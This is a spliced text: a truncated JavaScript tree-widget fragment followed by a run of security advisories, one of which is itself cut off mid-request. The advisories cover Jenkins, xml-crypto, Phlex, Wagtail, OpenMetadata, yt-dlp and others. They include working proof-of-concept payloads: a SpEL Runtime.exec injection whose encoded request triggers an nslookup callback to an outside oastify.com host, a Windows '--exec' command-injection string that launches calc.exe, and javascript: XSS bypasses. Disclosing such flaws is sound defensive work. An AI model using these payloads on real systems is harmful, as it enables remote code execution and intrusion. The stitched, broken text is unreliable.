        return $(`<div class="ui checkbox" data-value="${code}"><input ${checked} type="checkbox" name="${type}"></div>`);
      }

      return $(`<div class="ui radio checkbox" data-value="${code}"><input ${checked} type="radio" name="${type}"></div>`);
    };

    const isLeafLoaded = function isLeafLoaded(code) {
      return loadedLeafs.some(leafCode => leafCode === code);
    };

    let createLeafFunc;

    const loadLeafAction = function loadLeafAction(parentCode, expandButton, content, icon, leafContainerElement) {
      icon.toggleClass('open');

      if (!isLeafLoaded(parentCode)) {
        expandButton.api({
          on: 'now',
          url: tree.data('tree-leafs-url') || tree.data('taxon-leafs-url'),
          method: 'GET',
          cache: false,
          data: {
            parentCode,
          },
          beforeSend(settings) {
            loader.addClass('active');

            return settings;
          },
          onSuccess(response) {
            response.forEach((leafNode) => {
              leafContainerElement.append((
                createLeafFunc(sanitizeInput(leafNode.name), leafNode.code, leafNode.hasChildren, multiple, leafNode.level)
              ));
            });
            content.append(leafContainerElement);
            loader.removeClass('active');
            loadedLeafs.push(parentCode);

            leafContainerElement.toggle();
          },
        });
      }

      leafContainerElement.toggle();
    };

    const bindExpandLeafAction = function bindExpandLeafAction(parentCode, expandButton, content, icon, level) {
      const leafContainerElement = createLeafContainerElement();
      if (defaultLevel > level) {
        loadLeafAction(parentCode, expandButton, content, icon, leafContainerElement);
      }

      expandButton.click(() => {
        loadLeafAction(parentCode, expandButton, content, icon, leafContainerElement);
      });
    };

    const bindCheckboxAction = function bindCheckboxAction(checkboxElement) {
      checkboxElement.checkbox({
        onChecked() {
          const { value } = checkboxElement[0].dataset;
          const checkedValues = $input.val().split(',').filter(Boolean);
          checkedValues.push(value);
          $input.val(checkedValues.join());
        },
        onUnchecked() {
          const { value } = checkboxElement[0].dataset;
          const checkedValues = $input.val().split(',').filter(Boolean);
          const i = checkedValues.indexOf(value);
          if (i !== -1) {
            checkedValues.splice(i, 1);
          }
          $input.val(checkedValues.join());
        },
      });
    };

    const createLeaf = function createLeaf(name, code, hasChildren, multipleChoice, level) {
      const displayNameElement = createLeafTitleSpan(name);
      const titleElement = createLeafTitleElement();
      const iconElement = createLeafIconElement();
      const checkboxElement = createCheckboxElement(name, code, multipleChoice);

      bindCheckboxAction(checkboxElement);

      const leafElement = $('

');
      const leafContentElement = createLeafContentElement();

      leafElement.append(iconElement);
      titleElement.append(displayNameElement);
      titleElement.append(checkboxElement);
      leafContentElement.append(titleElement);

      if (!hasChildren) {
        iconElement.addClass('outline');
      }
      if (hasChildren) {
        bindExpandLeafAction(code, displayNameElement, leafContentElement, iconElement, level);
      }
      leafElement.append(leafContentElement);

      return leafElement;
    };
    createLeafFunc = createLeaf;

    tree.api({
      on: 'now',
      method: 'GET',
      url: tree.data('tree-root-nodes-url') || tree.data('taxon-root-nodes-url'),
      cache: false,
      b


Jenkins Subversion Partial Release Manager Plugin programmatically disables the fix for CVE-2016-3721

[Severity: MEDIUM]

Jenkins Subversion Partial Release Manager Plugin 1.0.1 and earlier programmatically sets the Java system property `hudson.model.ParametersAction.keepUndefinedParameters` whenever a build is triggered from a release tag with the 'Svn-Partial Release Manager' SCM. Doing so disables the fix for [SECURITY-170](https://www.jenkins.io/security/advisory/2016-05-11/#arbitrary-build-parameters-are-passed-to-build-scripts-as-environment-variables) / CVE-2016-3721.

As of publication of this advisory, there is no fix.


Jenkins Script Security Plugin has sandbox bypass vulnerability involving crafted constructor bodies

[Severity: HIGH]

Jenkins Script Security Plugin provides a sandbox feature that allows low privileged users to define scripts, including Pipelines, that are generally safe to execute. Calls to code defined inside a sandboxed script are intercepted, and various allowlists are checked to determine whether the call is to be allowed.

Multiple sandbox bypass vulnerabilities exist in Script Security Plugin 1335.vf07d9ce377a_e and earlier:

- Crafted constructor bodies that invoke other constructors can be used to construct any subclassable type via implicit casts.

- Sandbox-defined Groovy classes that shadow specific non-sandbox-defined classes can be used to construct any subclassable type.

These vulnerabilities allow attackers with permission to define and run sandboxed scripts, including Pipelines, to bypass the sandbox protection and execute arbitrary code in the context of the Jenkins controller JVM.

- These issues are caused by an incomplete fix of [SECURITY-2824](https://www.jenkins.io/security/advisory/2022-10-19/#SECURITY-2824%20(1)).

Script Security Plugin 1336.vf33a_a_9863911 has additional restrictions and sanity checks to ensure that super constructors cannot be constructed without being intercepted by the sandbox:

- Calls to to other constructors using this are now intercepted by the sandbox.

- Classes in packages that can be shadowed by Groovy-defined classes are no longer ignored by the sandbox when intercepting super constructor calls.


xml-crypto vulnerable to XML signature verification bypass due improper verification of signature/signature spoofing

[Severity: CRITICAL]

### Summary

Default configuration does not check authorization of the signer, it only checks the validity of the signature per section 3.2.2 of https://www.w3.org/TR/2008/REC-xmldsig-core-20080610/#sec-CoreValidation. As such, without additional validation steps, the default configuration allows a malicious actor to re-sign an XML document, place the certificate in a `<KeyInfo />` element, and pass `xml-crypto` default validation checks.

### Details

Affected `xml-crypto` versions between versions `>= 4.0.0` and `< 6.0.0`.

`xml-crypto` trusts by default any certificate provided via digitally signed XML document's `<KeyInfo />`.

`xml-crypto` prefers to use any certificate provided via digitally signed XML document's `<KeyInfo />` even if library was configured to use specific certificate (`publicCert`) for signature verification purposes.

Attacker can spoof signature verification by modifying XML document and replacing existing signature with signature generated with malicious private key (created by attacker) and by attaching that private key's certificate to `<KeyInfo />` element.

Vulnerability is combination of changes introduced to `4.0.0` at
* https://github.com/node-saml/xml-crypto/pull/301
* https://github.com/node-saml/xml-crypto/commit/c2b83f984049edb68ad1d7c6ad0739ec92af11ca

Changes at PR provided default method to extract certificate from signed XML document.
* https://github.com/node-saml/xml-crypto/blob/c2b83f984049edb68ad1d7c6ad0739ec92af11ca/lib/signed-xml.js#L405-L414
* https://github.com/node-saml/xml-crypto/blob/c2b83f984049edb68ad1d7c6ad0739ec92af11ca/lib/signed-xml.js#L334

and changes at PR prefer output of that method to be used as certificate for signature verification even in the case when library is configured to use specific/pre-configured `signingCert`
* https://github.com/node-saml/xml-crypto/blob/c2b83f984049edb68ad1d7c6ad0739ec92af11ca/lib/signed-xml.js#L507

Name of the `signingCert` was changed later (but prior to `4.0.0` release) to `publicCert`:
* https://github.com/node-saml/xml-crypto/commit/78329fbae34c9b25ba25882604e960f506d7c0e7
* https://github.com/node-saml/xml-crypto/blob/78329fbae34c9b25ba25882604e960f506d7c0e7/lib/signed-xml.js#L507

Issue was fixed to `6.0.0` by disabling implicit usage of default `getCertFromKeyInfo` implementation:
* https://github.com/node-saml/xml-crypto/pull/445
* https://github.com/node-saml/xml-crypto/commit/21201723d2ca9bc11288f62cf72552b7d659b000

Possible workarounds for versions 4.x and 5.x:
- Check the certificate extracted via `getCertFromKeyInfo` against trusted certificates before accepting the results of the validation.
- Set `xml-crypto`'s `getCertFromKeyInfo` to `() => undefined` forcing `xml-crypto` to use an explicitly configured `publicCert` or `privateKey` for signature verification.

### PoC

https://github.com/node-saml/xml-crypto/discussions/399

### Impact

An untrusted certificate can be used to pass a malicious XML payload through an improperly configured installation of `xml-crypto`.


Phlex vulnerable to Cross-site Scripting (XSS) via maliciously formed HTML attribute names and values

[Severity: HIGH]

There is a potential cross-site scripting (XSS) vulnerability that can be exploited via maliciously crafted user data.

The reason these issues were not detected before is the escapes were working as designed. However, their design didn't take into account just how recklessly permissive browser are when it comes to executing unsafe JavaScript via HTML attributes.

### Impact

If you render an `<a>` tag with an `href` attribute set to a user-provided link, that link could potentially execute JavaScript when clicked by another user.

```ruby
a(href: user_profile) { "Profile" }
```

If you splat user-provided attributes when rendering any HTML or SVG tag, malicious event attributes could be included in the output, executing JavaScript when the events are triggered by another user.

```ruby
h1(**JSON.parse(user_attributes))
```

### Patches
Patches are [available on RubyGems](https://rubygems.org/gems/phlex) for all minor versions released in the last year.

- [1.10.2](https://rubygems.org/gems/phlex/versions/1.10.2)
- [1.9.3](https://rubygems.org/gems/phlex/versions/1.9.3)

If you are on `main`, it has been patched since [`da8f943`](https://github.com/phlex-ruby/phlex/commit/da8f94342a84cff9d78c98bcc3b3604ee2e577d2)

### Workarounds
Configuring a [Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy) that does not allow [`unsafe-inline`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy#unsafe-inline) would effectively prevent this vulnerability from being exploited.

### References

In addition to upgrading to a patched version of Phlex, we strongly recommend configuring a Content Security Policy header that does not allow `unsafe-inline`. Here’s how you can configure a Content Security Policy header in Rails. https://guides.rubyonrails.org/security.html#content-security-policy-header


Wagtail has permission check bypass when editing a model with per-field restrictions through `wagtail.contrib.settings` or `ModelViewSet`

[Severity: LOW]

### Impact
If a model has been made available for editing through the [`wagtail.contrib.settings`](https://docs.wagtail.org/en/stable/reference/contrib/settings.html) module or [`ModelViewSet`](https://docs.wagtail.org/en/stable/extending/generic_views.html#modelviewset), and the [`permission` argument on `FieldPanel`](https://docs.wagtail.org/en/stable/reference/pages/panels.html#wagtail.admin.panels.FieldPanel.permission) has been used to further restrict access to one or more fields of the model, a user with edit permission over the model but not the specific field can craft an HTTP POST request that bypasses the permission check on the individual field, allowing them to update its value.

The vulnerability is not exploitable by an ordinary site visitor without access to the Wagtail admin, or by a user who has not been granted edit access to the model in question. The editing interfaces for pages and snippets are also unaffected.

### Patches
Patched versions have been released as Wagtail 6.0.3 and 6.1. Wagtail releases prior to 6.0 are unaffected.

### Workarounds
Site owners who are unable to upgrade to a patched version can avoid the vulnerability in `ModelViewSet` by registering the model as a snippet instead. No workaround is available for `wagtail.contrib.settings`.

### Acknowledgements
Many thanks to Ben Morse and Joshua Munn for reporting this issue.

### For more information
If you have any questions or comments about this advisory:

* Visit Wagtail's [support channels](https://docs.wagtail.io/en/stable/support.html)
* Email us at [security@wagtail.org](mailto:security@wagtail.org) (view our [security policy](https://github.com/wagtail/wagtail/security/policy) for more information).


OpenMetadata vulnerable to a SpEL Injection in `GET /api/v1/policies/validation/condition/<expr>` (`GHSL-2023-236`)

[Severity: HIGH]

### SpEL Injection in `GET /api/v1/policies/validation/condition/<expr>` (`GHSL-2023-236`)

***Please note, only authenticated users have access to PUT / POST APIS for /api/v1/policies. Non authenticated users will not be able to access these APIs to exploit the vulnerability. A user must exist in OpenMetadata and have authenticated themselves to exploit this vulnerability.***

The [`CompiledRule::validateExpression`](https://github.com/open-metadata/OpenMetadata/blob/main/openmetadata-service/src/main/java/org/openmetadata/service/security/policyevaluator/CompiledRule.java#L51) method evaluates an SpEL expression using an [`StandardEvaluationContext`](https://github.com/open-metadata/OpenMetadata/blob/main/openmetadata-service/src/main/java/org/openmetadata/service/security/policyevaluator/CompiledRule.java#L57), allowing the expression to reach and interact with Java classes such as `java.lang.Runtime`, leading to Remote Code Execution. The `/api/v1/policies/validation/condition/<expression>` endpoint passes user-controlled data `CompiledRule::validateExpession` allowing authenticated (non-admin) users to execute arbitrary system commands on the underlaying operating system.

[Snippet from PolicyResource.java](https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/resources/policies/PolicyResource.java#L448)

```java
  @GET
  @Path("/validation/condition/{expression}")
  @Operation(
      operationId = "validateCondition",
      summary = "Validate a given condition",
      description = "Validate a given condition expression used in authoring rules.",
      responses = {
        @ApiResponse(responseCode = "204", description = "No value is returned"),
        @ApiResponse(responseCode = "400", description = "Invalid expression")
      })
  public void validateCondition(
      @Context UriInfo uriInfo,
      @Context SecurityContext securityContext,
      @Parameter(description = "Expression of validating rule", schema = @Schema(type = "string"))
          @PathParam("expression")
          String expression) {
    CompiledRule.validateExpression(expression, Boolean.class);
  }
```

```java
  public static <T> void validateExpression(String condition, Class<T> clz) {
    if (condition == null) {
      return;
    }
    Expression expression = parseExpression(condition);
    RuleEvaluator ruleEvaluator = new RuleEvaluator();
    StandardEvaluationContext evaluationContext = new StandardEvaluationContext(ruleEvaluator);
    try {
      expression.getValue(evaluationContext, clz);
    } catch (Exception exception) {
      // Remove unnecessary class details in the exception message
      String message = exception.getMessage().replaceAll("on type .*$", "").replaceAll("on object .*$", "");
      throw new IllegalArgumentException(CatalogExceptionMessage.failedToEvaluate(message));
    }
  }
```

In addition, there is a missing authorization check since `Authorizer.authorize()` is never called in the affected path and therefore any authenticated non-admin user is able to trigger this endpoint and evaluate arbitrary SpEL expressions leading to arbitrary command execution.

This vulnerability was discovered with the help of CodeQL's [Expression language injection (Spring)](https://codeql.github.com/codeql-query-help/java/java-spel-expression-injection/) query.
#### Proof of concept

- Prepare the payload
	- Encode `touch /tmp/pwned` in Base64 => `dG91Y2ggL3RtcC9wd25lZA==`
	- SpEL expression to run system command: `T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode("dG91Y2ggL3RtcC9wd25lZA==")))`
	- Encode the payload using URL encoding:
```
%54%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%54%28%6a%61%76%61%2e%75%74%69%6c%2e%42%61%73%65%36%34%29%2e%67%65%74%44%65%63%6f%64%65%72%28%29%2e%64%65%63%6f%64%65%28%22%64%47%39%31%59%32%67%67%4c%33%52%74%63%43%39%77%64%32%35%6c%5a%41%3d%3d%22%29%29%29
```

- Send the payload using a valid JWT token:
```http
GET /api/v1/policies/validation/condition/%54%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%54%28%6a%61%76%61%2e%75%74%69%6c%2e%42%61%73%65%36%34%29%2e%67%65%74%44%65%63%6f%64%65%72%28%29%2e%64%65%63%6f%64%65%28%22%62%6e%4e%73%62%32%39%72%64%58%41%67%61%58%70%73%4e%7a%45%33%62%33%42%69%62%57%52%79%5a%57%46%6f%61%33%4a%6f%63%44%4e%72%63%32%70%72%61%47%4a%75%4d%6d%4a%7a%65%6d%67%75%62%32%46%7a%64%47%6c%6d%65%53%35%6a%62%32%30%3d%22%29%29%29 HTTP/2
Host: sandbox.open-metadata.org
Authorization: Bearer <non-admin JWT>
```
- Verify that a file called `/tmp/pwned` was created in the OpenMetadata server
#### Impact

This issue may lead to Remote Code Execution by a registered and authenticated user.

#### Remediation

Use [`SimpleEvaluationContext`](https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/expression/spel/support/SimpleEvaluationContext.html) to exclude *references to Java types, constructors, and bean references*.


OpenMetadata vulnerable to a SpEL Injection in `PUT /api/v1/events/subscriptions` (`GHSL-2023-251`)

[Severity: HIGH]

### SpEL Injection in `PUT /api/v1/events/subscriptions` (`GHSL-2023-251`)

***Please note, only authenticated users have access to PUT / POST APIS for /api/v1/policies. Non authenticated users will not be able to access these APIs to exploit the vulnerability. A user must exist in OpenMetadata and have authenticated themselves to exploit this vulnerability.***

Similarly to the GHSL-2023-250 issue, `AlertUtil::validateExpression` is also called from [`EventSubscriptionRepository.prepare()`](https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/jdbi3/EventSubscriptionRepository.java#L69-L83), which can lead to Remote Code Execution.

```java
  @Override
  public void prepare(EventSubscription entity, boolean update) {
    validateFilterRules(entity);
  }

  private void validateFilterRules(EventSubscription entity) {
    // Resolve JSON blobs into Rule object and perform schema based validation
    if (entity.getFilteringRules() != null) {
      List<EventFilterRule> rules = entity.getFilteringRules().getRules();
      // Validate all the expressions in the rule
      for (EventFilterRule rule : rules) {
        AlertUtil.validateExpression(rule.getCondition(), Boolean.class);
      }
      rules.sort(Comparator.comparing(EventFilterRule::getName));
    }
  }
```

`prepare()` is called from [`EntityRepository.prepareInternal()`](https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/jdbi3/EntityRepository.java#L693) which, in turn, gets called from the [`EntityResource.createOrUpdate()`](https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/resources/EntityResource.java#L219):

```java
public Response createOrUpdate(UriInfo uriInfo, SecurityContext securityContext, T entity) {
  repository.prepareInternal(entity, true);

  // If entity does not exist, this is a create operation, else update operation
  ResourceContext<T> resourceContext = getResourceContextByName(entity.getFullyQualifiedName());
  MetadataOperation operation = createOrUpdateOperation(resourceContext);
  OperationContext operationContext = new OperationContext(entityType, operation);
  if (operation == CREATE) {
    CreateResourceContext<T> createResourceContext = new CreateResourceContext<>(entityType, entity);
    authorizer.authorize(securityContext, operationContext, createResourceContext);
    entity = addHref(uriInfo, repository.create(uriInfo, entity));
    return new PutResponse<>(Response.Status.CREATED, entity, RestUtil.ENTITY_CREATED).toResponse();
  }
  authorizer.authorize(securityContext, operationContext, resourceContext);
  PutResponse<T> response = repository.createOrUpdate(uriInfo, entity);
  addHref(uriInfo, response.getEntity());
  return response.toResponse();
}
```

Note that, even though there is an authorization check (`authorizer.authorize()`), it gets called after `prepareInternal()` gets called and, therefore, after the SpEL expression has been evaluated.

In order to reach this method, an attacker can send a PUT request to `/api/v1/events/subscriptions` which gets handled by [`EventSubscriptionResource.createOrUpdateEventSubscription()`](https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/resources/events/subscription/EventSubscriptionResource.java#L289):

```java
@PUT
@Operation(
    operationId = "createOrUpdateEventSubscription",
    summary = "Updated an existing or create a new Event Subscription",
    description = "Updated an existing or create a new Event Subscription",
    responses = {
      @ApiResponse(
          responseCode = "200",
          description = "create Event Subscription",
          content =
              @Content(
                  mediaType = "application/json",
                  schema = @Schema(implementation = CreateEventSubscription.class))),
      @ApiResponse(responseCode = "400", description = "Bad request")
    })
public Response createOrUpdateEventSubscription(
    @Context UriInfo uriInfo, @Context SecurityContext securityContext, @Valid CreateEventSubscription create) {
  // Only one Creation is allowed for Data Insight
  if (create.getAlertType() == CreateEventSubscription.AlertType.DATA_INSIGHT_REPORT) {
    try {
      repository.getByName(null, create.getName(), repository.getFields("id"));
    } catch (EntityNotFoundException ex) {
      if (ReportsHandler.getInstance() != null && ReportsHandler.getInstance().getReportMap().size() > 0) {
        throw new BadRequestException("Data Insight Report Alert already exists.");
      }
    }
  }
  EventSubscription eventSub = getEventSubscription(create, securityContext.getUserPrincipal().getName());
  Response response = createOrUpdate(uriInfo, securityContext, eventSub);
  repository.updateEventSubscription((EventSubscription) response.getEntity());
  return response;
}
```

This vulnerability was discovered with the help of CodeQL's [Expression language injection (Spring)](https://codeql.github.com/codeql-query-help/java/java-spel-expression-injection/) query.

#### Proof of concept
- Prepare the payload
	- Encode the command to be run (eg: `touch /tmp/pwned`) using Base64 (eg: `dG91Y2ggL3RtcC9wd25lZA==`)
	- Create the SpEL expression to run the system command: `T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode("dG91Y2ggL3RtcC9wd25lZA==")))`
- Send the payload using a valid JWT token:
```http
PUT /api/v1/events/subscriptions HTTP/1.1
Host: localhost:8585
Authorization: Bearer <non-admin JWT>
accept: application/json
Connection: close
Content-Type: applic


Kubernetes allows bypassing mountable secrets policy imposed by the ServiceAccount admission plugin

[Severity: LOW]

A security issue was discovered in Kubernetes where users may be able to launch containers that bypass the mountable secrets policy enforced by the ServiceAccount admission plugin when using containers, init containers, and ephemeral containers with the envFrom field populated. The policy ensures pods running with a service account may only reference secrets specified in the service account’s secrets field. Kubernetes clusters are only affected if the ServiceAccount admission plugin and the kubernetes.io/enforce-mountable-secrets annotation are used together with containers, init containers, and ephemeral containers with the envFrom field populated.


Apache Airflow: Sensitive configuration for providers displayed when "non-sensitive-only" config used

[Severity: MEDIUM]

Airflow versions 2.7.0 through 2.8.4 have a vulnerability that allows an authenticated user to see sensitive provider configuration via the "configuration" UI page when "non-sensitive-only" was set as "webserver.expose_config" configuration (The celery provider is the only community provider currently that has sensitive configurations). You should migrate to Airflow 2.9 or change your "expose_config" configuration to False as a workaround. This is similar, but different to  CVE-2023-46288 https://github.com/advisories/GHSA-9qqg-mh7c-chfq  which concerned API, not UI configuration page.


Handling untrusted input can result in a crash, leading to loss of availability / denial of service

[Severity: HIGH]

Using particular inputs with `@solana/web3.js` will result in memory exhaustion (OOM).

If you have a server, client, mobile, or desktop product that accepts untrusted input for use with `@solana/web3.js`, your application/service may crash, resulting in a loss of availability.


Cross-site Scripting (XSS) possible due to improper sanitisation of `href` attributes on `<a>` tags

[Severity: HIGH]

### Summary
There is a potential cross-site scripting (XSS) vulnerability that can be exploited via maliciously crafted user data.

Our filter to detect and prevent the use of the `javascript:` URL scheme in the `href` attribute of an `<a>` tag could be bypassed with tab `\t` or newline `\n` characters between the characters of the protocol, e.g. `java\tscript:`.

### Impact

If you render an `<a>` tag with an `href` attribute set to a user-provided link, that link could potentially execute JavaScript when clicked by another user.

```ruby
a(href: user_profile) { "Profile" }
```

### Mitigation

The best way to mitigate this vulnerability is to update to one of the following versions:

- [1.10.1](https://rubygems.org/gems/phlex/versions/1.10.1)
- [1.9.2](https://rubygems.org/gems/phlex/versions/1.9.2)
- [1.8.3](https://rubygems.org/gems/phlex/versions/1.8.3)
- [1.7.2](https://rubygems.org/gems/phlex/versions/1.7.2)
- [1.6.3](https://rubygems.org/gems/phlex/versions/1.6.3)
- [1.5.3](https://rubygems.org/gems/phlex/versions/1.5.3)
- [1.4.2](https://rubygems.org/gems/phlex/versions/1.4.2)

### Workarounds
Configuring a [Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy) that does not allow [`unsafe-inline`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy#unsafe-inline) would effectively prevent this vulnerability from being exploited.


MSAL.NET applications targeting Xamarin Android and .NET Android (MAUI) susceptible to local denial of service

[Severity: LOW]

>[!IMPORTANT]
>**ONLY** applications targeting Xamarin Android and .NET Android (MAUI) are impacted. All others can safely dismiss this CVE.

### Impact

[MSAL.NET](https://www.nuget.org/packages/Microsoft.Identity.Client/) applications targeting Xamarin Android and .NET Android (e.g., MAUI) using the library from versions `4.48.0` to `4.60.3` (inclusive, except `4.59.1` and `4.60.3`) are impacted by a low severity vulnerability.

A malicious application running on a customer Android device can (1) inject HTML/JavaScript in an embedded web view exported by affected applications, or (2) cause local denial of service against applications that were built using MSAL.NET for authentication on the same device (i.e., prevent the user of the legitimate application from logging in) due to incorrect activity export configuration.

### Patches

MSAL.NET version 4.60.3 includes the fix. We recommend all users of MSAL.NET that are building public client applications for Android update to the latest version.

### Workarounds

We recommend developers update to the latest version of MSAL.NET. If that is not possible, a developer may explicitly mark the MSAL.NET activity non-exported:

```xml
<activity android:name="microsoft.identity.client.AuthenticationAgentActivity" android:configChanges="orientation|screenSize" android:exported="false">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="msalYOUR_CLIENT_ID" android:host="auth" />
</intent-filter>
</activity>
```

### References

Refer to [MSAL.NET documentation](https://learn.microsoft.com/entra/msal/dotnet/) for latest guidance and best practices on configuring client applications using the library.


Internationalized Domain Names in Applications (IDNA) vulnerable to denial of service from specially crafted inputs to idna.encode

[Severity: MEDIUM]

### Impact
A specially crafted argument to the `idna.encode()` function could consume significant resources. This may lead to a denial-of-service.

### Patches
The function has been refined to reject such strings without the associated resource consumption in version 3.7.

### Workarounds
Domain names cannot exceed 253 characters in length, if this length limit is enforced prior to passing the domain to the `idna.encode()` function it should no longer consume significant resources. This is triggered by arbitrarily large inputs that would not occur in normal usage, but may be passed to the library assuming there is no preliminary input validation by the higher-level application.

### References
* https://huntr.com/bounties/93d78d07-d791-4b39-a845-cbfabc44aadb


Evmos transaction execution not accounting for all state transition after interaction with precompiles

[Severity: CRITICAL]

### Context

- [`stateObject`](https://github.com/evmos/evmos/blob/b196a522ba4951890b40992e9f97aa610f8b5f9c/x/evm/statedb/state_object.go#L53-L68): represents the state of an account and is used to store its updates during a state transition. This is accomplished using two in memory Storage variables: `originStorage` and `dirtyStorage`
- [`StateDB`](https://github.com/evmos/evmos/blob/b196a522ba4951890b40992e9f97aa610f8b5f9c/x/evm/statedb/statedb.go#L33-L55): it is the general interface to retrieve accounts and holds a map of stateObjects.

### Impact

An external contributor, @iczc, discovered a way to mint arbitrary tokens due to the possibility to have two different states not in sync during the execution of a transaction. The exploit is based on the fact that to sync the Cosmos SDK state and the EVM one, we rely on the `stateDB.Commit()` method. When we call this method, we iterate though all the `dirtyStorage` and, **if and only if** it is different than the `originStorage`, we [set the new state](https://github.com/evmos/evmos/blob/b196a522ba4951890b40992e9f97aa610f8b5f9c/x/evm/statedb/statedb.go#L460-L465). Setting the new state means we update the Cosmos SDK KVStore.

Below, are described the steps to perform the attack:

- User send a tx to a smart contract (SC) that is calling a precompile.
- The SC perform a state transition of its state from A to B.
- The SC call the precompile.
- The SC perform a state transition of its state from B to A (revert of the previous).
- Once the transaction is executed, and the final **Commit** is performed, the state A will not be committed to the store because A is the same as `originStorage`.

If the tx is executed correctly, this is what happens at the store level:

- Initial state A is loaded from the KVStore and the dirtyStorage is set to B.
- Before running the precompile, the `dirtyStorage` is committed to the KVStore without changing the `originStorage`.
- Now, since we have a `dirtyStorage`, it is updated to the previous value A without changing the `originStorage`.

Since the tx executed correctly, the evm calls the commit to persist the dirtyStorage. However, since dirtyStorage is equal to originStorage, nothing will be changed.

To summarize, if a contract storage state that is the same before and after a transaction, but is changed during the transaction and can call an external contract after the change, it can be exploited to make the transaction similar to non-atomic. The vulnerability is **critical** since this could lead to drain of funds through creative SC interactions.

### Severity

Based on [ImmuneFi Severity Classification System](https://immunefisupport.zendesk.com/hc/en-us/articles/13332717597585-Severity-Classification-System) the severity was evaluated to `Critical` since the attack could have lead to direct loss of funds.

### Patches

The issue has been patched in versions >=V17.0.0.

## For more information
If you have any questions or comments about this advisory:

Reach out to the Core Team in [Discord](https://discord.gg/evmos)
Open a discussion in [evmos/evmos](https://github.com/evmos/evmos/discussions)
Email us at [security@evmos.org](mailto:security@evmos.org) for security questions


Aim Cross-Site Request Forgery vulnerability allows user to delete runs and perform other operations

[Severity: HIGH]

aimhubio/aim is vulnerable to Cross-Site Request Forgery (CSRF), allowing attackers to perform actions such as deleting runs, updating data, and stealing data like log records and notes without the user's consent. The vulnerability stems from the lack of CSRF and CORS protection in the aim dashboard. An attacker can exploit this by tricking a user into executing a malicious script that sends unauthorized requests to the aim server, leading to potential data loss and unauthorized data manipulation.


yt-dlp: `--exec` command injection when using `%q` in yt-dlp on Windows (Bypass of CVE-2023-40581)

[Severity: HIGH]

### Summary
The [patch that addressed CVE-2023-40581](https://github.com/yt-dlp/yt-dlp/commit/de015e930747165dbb8fcd360f8775fd973b7d6e) attempted to prevent RCE when using `--exec` with `%q` by replacing double quotes with two double quotes.
However, this escaping is not sufficient, and still allows expansion of environment variables.

Support for output template expansion in `--exec`, along with this vulnerable behavior, was added to `yt-dlp` in version [2021.04.11](https://github.com/yt-dlp/yt-dlp/releases/tag/2021.04.11).

```cmd
> yt-dlp "https://youtu.be/42xO6rVqf2E" --ignore-config -f 18 --exec "echo %(title)q"
[youtube] Extracting URL: https://youtu.be/42xO6rVqf2E
[youtube] 42xO6rVqf2E: Downloading webpage
[youtube] 42xO6rVqf2E: Downloading ios player API JSON
[youtube] 42xO6rVqf2E: Downloading android player API JSON
[youtube] 42xO6rVqf2E: Downloading m3u8 information
[info] 42xO6rVqf2E: Downloading 1 format(s): 18
[download] Destination: %CMDCMDLINE：~-1%&echo pwned&calc.exe [42xO6rVqf2E].mp4
[download] 100% of  126.16KiB in 00:00:00 at 2.46MiB/s
[Exec] Executing command: echo "%CMDCMDLINE:~-1%&echo pwned&calc.exe"
""
pwned
```

### Patches
yt-dlp version 2024.04.09 fixes this issue by properly escaping `%`. It replaces them with `%%cd:~,%`, a variable that expands to nothing, leaving only the leading percent.

### Workarounds
It is recommended to upgrade yt-dlp to version 2024.04.09 as soon as possible. Also, always be careful when using `--exec`, because while this specific vulnerability has been patched, using unvalidated input in shell commands is inherently dangerous.

For Windows users who are not able to upgrade:
- Avoid using any output template expansion in `--exec` other than `{}` (filepath).
- If expansion in `--exec` is needed, verify the fields you are using do not contain `%`, `"`, `|` or `&`.
- Instead of using `--exec`, write the info json and load the fields from it instead.

### Details
When escaping variables, the following code is used for Windows.
[`yt_dlp/compat/__init__.py` line 31-33](https://github.com/yt-dlp/yt-dlp/blob/8e6e3651727b0b85764857fc6329fe5e0a3f00de/yt_dlp/compat/__init__.py#L31-L33)
```python
    def compat_shlex_quote(s):
        import re
        return s if re.match(r'^[-_\w./]+$', s) else s.replace('"', '""').join('""')
```
It replaces `"` with `""` to balance out the quotes and keep quoting intact if non-allowed characters are included. However, the `%CMDCMDLINE%` variable can be used to generate a quote using `%CMDCMDLINE:~-1%`; since the value of `%CMDCMDLINE%` is the commandline with which `cmd.exe` was called, and it is always called with the command surrounded by quotes, `%CMDCMDLINE:~-1%` expands to `"`. After the quotes have been unbalanced, special characters are no longer quoted and commands can be executed:
```cmd
%CMDCMDLINE:~-1%&calc.exe
```

### References
- https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-hjq6-52gw-2g7p
- https://nvd.nist.gov/vuln/detail/CVE-2024-22423
- https://github.com/yt-dlp/yt-dlp/releases/tag/2024.04.09
